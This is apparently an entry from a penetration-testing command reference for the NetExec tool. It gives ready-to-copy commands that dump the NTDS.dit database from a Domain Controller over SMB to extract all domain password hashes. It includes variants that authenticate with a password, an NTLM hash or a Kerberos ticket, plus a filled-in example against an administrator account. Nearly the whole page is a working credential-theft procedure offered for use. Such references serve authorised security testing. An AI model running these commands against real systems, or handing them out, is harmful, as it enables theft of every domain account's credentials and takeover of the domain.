NetExec SMB NTDS Dump

Dump the NTDS.dit database from a Domain Controller to extract all domain hashes

Tool
nxc
Category
Credential Attacks / Hash Dumping
Platform
linux
Requires
password
Protocols
SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' --ntds

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' --ntds

Kerberos Ticket requires Kerberos ticket

nxc smb '<ip>' -u '<user>' --use-kcache --ntds

Examples

nxc smb '192.168.1.100' -u 'administrator' -p 'password' --ntds

Tags

nxc smb ntds credential-dumping domain-controller hashes